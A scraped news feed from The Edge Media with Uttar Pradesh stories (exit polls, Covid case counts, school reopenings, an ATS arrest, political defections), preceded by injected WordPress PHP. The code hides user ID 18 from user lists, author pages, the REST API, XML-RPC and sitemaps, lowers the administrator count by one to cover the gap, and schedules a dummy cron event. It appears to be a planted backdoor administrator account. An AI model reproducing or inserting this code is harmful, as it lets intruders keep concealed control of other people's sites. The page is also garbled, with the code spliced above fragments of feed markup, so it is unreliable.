add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post BJP To Rule UP Again, According to Exit Polls appeared first on The Edge Media.
]]>Between February 10 and March 7, the Election Commission of India barred the publication of exit polls, and also printed and digital media firms from holding or releasing electoral results forecasts.
The post BJP To Rule UP Again, According to Exit Polls appeared first on The Edge Media.
]]>The post No active cases of Covid – 19 in 33 districts of UP appeared first on The Edge Media.
]]>The 33 Covid free districts include Aligarh, Amroha, Ayodhya, Baghpat, Ballia, Balrampur, Banda, Basti, Bahraich, Bijnor, Bhadohi, Chitrakoot, Chandauli, Etah, Deoria, Fatehpur, Ghazipur, Gonda, Hamirpur, Hapur, Hardoi, Hathras, Kasganj, Lalitpur and Mahoba. The list also includes Moradabad, Muzaffarnagar, Pilibhit, Rampur, Saharanpur, Shamli, Siddharth Nagar, and Sonbhadra, according to the state government data.
Overall, the state has a total of 199 active cases, while the positivity rate came down to less than 0.01 per cent. The recovery rate, meanwhile, has improved to 98.7 per cent. As per the state’s health bulletin, Uttar Pradesh reported only 11 new Covid-19 cases and zero deaths in the last 24 hours. The fresh cases came out of 2.26 lakh samples that were tested in the last 24 hours. As of Friday, the state government has conducted 7.42 crore tests, according to the data published by Uttar Pradesh’s health department.
On the vaccination front, around 7 crore people in the state have received their first dose of the jab. The vaccination coverage in the state has exceeded 8.47 crores, out of which, 12 lakh people have been inoculated in the last 2 hours.
Meanwhile, the overall nationwide tally climbed to 33,174,954 after recording 34,973 cases in the last 24 hours. This was around 19% lower than Thursday when the country had logged 43,263 fresh infections. The death toll stands at 442,009.
The post No active cases of Covid – 19 in 33 districts of UP appeared first on The Edge Media.
]]>The post Former UP CM Kalyan Singh health critical, on life saving support system appeared first on The Edge Media.
]]>Adityanath came to the Sanjay Gandhi Post Graduate Institute of Medical Sciences in the morning. He was accompanied by medical education minister Suresh Khanna, the hospital said in a statement.
“Kalyan Singh’s health status is critical and is on life-saving support system,” the hospital said, adding he is under close observation of the doctors.
“The senior faculty of Critical Care Medicine, Cardiology, Nephrology, Neurology and Endocrinology are keeping a close watch on all the aspects related to his health,” the hospital said.
Hospital director professor RK Dhiman is supervising his treatment on a daily basis, it added.
The former UP CM was admitted to the hospital’s intensive care unit on July 4 due to an infection and reduced consciousness level.
Earlier, he was undergoing treatment at the Dr Ram Manohar Lohia Institute of Medical Sciences here. The 89-year-old veteran leader had served as the governor of Rajasthan as well.
On August 1, Union home minister Amit Shah had visited the ailing leader at the hospital.
(With agency inputs)
The post Former UP CM Kalyan Singh health critical, on life saving support system appeared first on The Edge Media.
]]>The post Schools may be closed again if the Covid situation worsens : UP govt appeared first on The Edge Media.
]]>“In basic education, attendance is not compulsory. We have also not made attendance mandatory for classes from 9 to 12,” Mr Sharma said.
“Guardians, teachers and political organisations have also said the offline education should be started even if it is for a shorter period,” he said.
“In UP, the present atmosphere is sufficiently secure but if there is any indication of any concern (regarding Covid), we can also close schools,” he added.
Mr Tripathi also asked Health Minister Jai Pratap Singh if there was any arrangement for vaccination of teachers and students below 18 years of age.
In a supplementary question, SP member Shatrudra Prakash asked the minister if it is safe for little children to go to school without vaccination.
The minister replied that the vaccine for children below 18 is not yet available but it is expected to be available by September. He said after the vaccine is available, a campaign will be launched to inoculate children.
The state government has opened schools from August 16 for classes 9 to 12. For classes six to eight, they will be opened from August 23 and for classes one to five from September 1.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Schools may be closed again if the Covid situation worsens : UP govt appeared first on The Edge Media.
]]>The post Offline classes for 9 – 12 standard students resumes in UP appeared first on The Edge Media.
]]>Classes will be held from Monday to Friday and both students and staff will be required to follow the covid protocols such as wearing masks and using sanitizers within the school premises.
This decision has been taken by Yogi Adityanath led the UP government as the COVID-19 cases are dripping off in the state.
Students are required to carry COVID-19 essentials like sanitizers, face masks, handwash, etc. in the school premises.
Schools have been closed due to COVID-19 for more than a year now and as the coronavirus pandemic has started deescalating various states all across the country are planning to reopen the schools in a phased manner.
Detailed SOPs have been launched by some of the state governments. States like Haryana, Punjab, Uttarakhand, Lakshadweep, Puducherry, Nagaland, Chhattisgarh, and Himachal Pradesh have started offline classes in the first week of August.
Bihar and Andhra Pradesh are two other states that have commenced physical classes from August 16.
On August 7, Bihar Chief Minister Nitish Kumar tweeted regarding the reopening of Classes 9 to 12 and colleges with 50 per cent capacity.
Additionally, the Karnataka government has decided to reopen schools for students in Classes 9 to 12. However, schools will reopen only in those districts where the COVID-19 positivity rate is less than 2 per cent.
The post Offline classes for 9 – 12 standard students resumes in UP appeared first on The Edge Media.
]]>The post BJP will run a three day vaccination program at booth level appeared first on The Edge Media.
]]>Uttar Pradesh BJP President Swatantra Dev Singh has appealed to people to get vaccinated in a bid to fight against the Covid-19 pandemic. He also urged party workers to participate enthusiastically in the special vaccination program to create awareness among the public and motivate them to get vaccinated.
According to the Uttar Pradesh general secretary and coordinator of the vaccination program, Subrat Pathak, BJP officials and workers will participate in the vaccination campaign by running a three-day special program at the booth level.
Subrat Pathak said that there would be two workers at every helpdesk to help people get registered and vaccinated at all the vaccination centres.
“On July 23, 24 and 25, all the public representatives and district in-charge will reach at least three vaccination centres along with the party workers,” Subrat Pathak said.
BJP workers on the ground will also motivate all service providers to get themselves inoculated by cooperating in their registration process.
The post BJP will run a three day vaccination program at booth level appeared first on The Edge Media.
]]>The post UP ATS arrests two terrorists linked to Al Qaeda appeared first on The Edge Media.
]]>A team led by IG ATS, GK Goswami, closed in on their location and arrested the two from a house that belongs to one Shahid.

Wasim was a tenant in the house for the past 15 years. The house has a motor garage in it.
According to ATS sources, two pressure-cooker bombs, a detonator, and 6 to 7 kilograms of explosives have been recovered from the house. A bomb disposal squad has been summoned to the site and nearby houses have been evacuated.

The IG did not disclose the names of the arrested persons and said that further details would be revealed after interrogation.
ATS sources said that preliminary investigations have revealed that the two terrorists planned to target a BJP MP and some senior BJP leaders in Lucknow.
A strong contingent of security forces along with top officials from various agencies have reached the spot.
The post UP ATS arrests two terrorists linked to Al Qaeda appeared first on The Edge Media.
]]>The post Kappa strain : A new threat for people appeared first on The Edge Media.
]]>The patient, a 66-year old man, has died. The strain was detected during the genome sequencing exercise.
His sample was collected on June 13 as a routine and sent to CSIR’s Institute of Genomics and Integrative Biology, New Delhi. The results came a few days ago.
Like Delta plus, Kappa too has been declared as the virus of concern.
Head of microbiology department at BRD Medical College Dr Amresh Singh said the patient had tested Covid positive on May 27 in Sant Kabir Nagar and was brought to BRD Medical College on June 12.
The sample was taken on June 13. “The patient died in the course of treatment on June 14. He had no travel history,” Dr Singh said.
Health officials said more than 2,000 samples have been sent for genome sequencing from UP. Of the total, 80% have tested positive to the Delta virus while 6% have tested positive to the alpha strain. On Wednesday, two cases of Delta Plus strain were recorded for the first time in UP.
Officials said none of the three had travel history which suggests the virus was mutating in UP
The post Kappa strain : A new threat for people appeared first on The Edge Media.
]]>The post A team of the welfare department’s child helpline stops child marriage in UP appeared first on The Edge Media.
]]>The team reached the Balhedi village on Saturday after receiving information about the function, the helpline’s in-charge Punam Sharma said.
During investigation, the boy and the girl were both found to be minors. The case has been handed over to police, she said.
The team reached the village when the marriage function was about to end, she said.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post A team of the welfare department’s child helpline stops child marriage in UP appeared first on The Edge Media.
]]>The post Jitin Prasada Has Joined BJP, Left Congress appeared first on The Edge Media.
]]>For a long time Prasada, a significant Brahmin in the administration of UP, was contrary to the leadership of Congress. The “Brahmin Chetna Parishad” was introduced in July of last year by Prasada to make a voice for the community of Brahmin. He served in the government of UPA-II.
The post Jitin Prasada Has Joined BJP, Left Congress appeared first on The Edge Media.
]]>